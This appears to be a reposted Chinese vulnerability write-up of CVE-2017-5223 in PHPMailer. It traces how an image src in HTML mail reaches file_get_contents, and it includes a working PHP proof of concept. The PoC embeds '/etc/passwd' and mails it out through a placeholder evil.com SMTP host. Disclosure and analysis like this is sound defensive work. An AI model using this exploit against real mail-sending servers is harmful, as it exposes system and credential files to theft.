Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

PHPMailer任意文件读取漏洞分析(CVE-2017-5223)

$
0
0
*本文原创作者:Yxlink,本文属CodeSec原创奖励计划,未经许可禁止转载

phpMailer 是堪称全球最流行邮件发送类 , 其全球范围内的用户量大约有 900 万 , 被诸多开源项目所采用,包括 WordPress 、 Drupal 、 1CRM 、 Joomla! 等 。 铱迅安全团队于2017年1月6日发现PHPMailer<= 5.2.21版本存在任意文件读取漏洞,成功利用该漏洞,可获取服务器中的任意文件内容。目前该漏洞已提交官方,并获得修复。

漏洞编号

CVE-2017-5223

影响版本:

PHPMailer<= 5.2.21

漏洞级别:

高危

漏洞详情:

漏洞文件函数: class.phpmailer.php 的 encodeFile 函数。

该函数中接收了一个 $path 变量,最后该 $path 变量的值带入到了 file_get_contents 函数中执行。如果该 $path 变量可控即可任意文件读取:


PHPMailer任意文件读取漏洞分析(CVE-2017-5223)

通过跟踪发现 AddAttachment 和 AddEmbeddedImage 函数最后会调用到 encode File 函数。 AddAttachment 函数的作用是在邮件中发送附件的,如果附件名称可控即可触发该漏洞。

主要来看 AddEmbeddedImage 函数,该函数是处理邮件内容中的图片的,现在只要 $path可控即可触发该漏洞。现在就是寻找可控点:


PHPMailer任意文件读取漏洞分析(CVE-2017-5223)

回溯该函数发现 msgHTML 函数调用了该函数, msgHTML 函数是用来发送 html格式的邮件,调用过程如下:


PHPMailer任意文件读取漏洞分析(CVE-2017-5223)

回溯$filename 看其是否可控,从代码中可以看出$filename是由$url赋值的。即:$filename = basename($url);

再来跟踪$url:


PHPMailer任意文件读取漏洞分析(CVE-2017-5223)

$url是通过解析$message里src=”xxxxx” 而来的, $url最终被解析出来就是xxxxx, 而 $message就是我们发送邮件的自定义的内容。这样可控点就找到了,即可成功利用该漏洞了。

漏洞POC: <?php
#Author:Yxlink
require_once('PHPMailerAutoload.php');
$mail = new PHPMailer();
$mail->IsSMTP();
$mail->Host = "smtp.evil.com";
$mail->Port = 25;
$mail->SMTPAuth = true;
$mail->CharSet = "UTF-8";
$mail->Encoding = "base64";
$mail->Username = "test@evil.com";
$mail->Password = "tes1234t";
$mail->Subject = "hello";
$mail->From = "test@evil.com";
$mail->FromName = "test";
$address = "testtest@test.com";
$mail->AddAddress($address, "test");
$mail->AddAttachment('test.txt','test.txt'); //test.txt可控即可任意文件读取
$mail->IsHTML(true);
$msg="<img src='/etc/passwd'>test";//邮件内容形如这样写。
$mail->msgHTML($msg);
if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!";
}
?>

用$msg的内容给自己的邮箱发一封邮件,即可获取到服务器的/etc/passwd的内容。如图:


PHPMailer任意文件读取漏洞分析(CVE-2017-5223)
漏洞修复:

漏洞详情目前已经提交给了PHPMailer官方,官方也已经发布了PHPMailer 5.2.22紧急安全修复,解决上述问题,受影响的用户应当立即升级:

https://github.com/PHPMailer/PHPMailer

详情可参见:

https://github.com/PHPMailer/PHPMailer/blob/master/changelog.md

https://github.com/PHPMailer/PHPMailer/blob/master/SECURITY.md

*本文原创作者:Yxlink,本文属CodeSec原创奖励计划,未经许可禁止转载

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images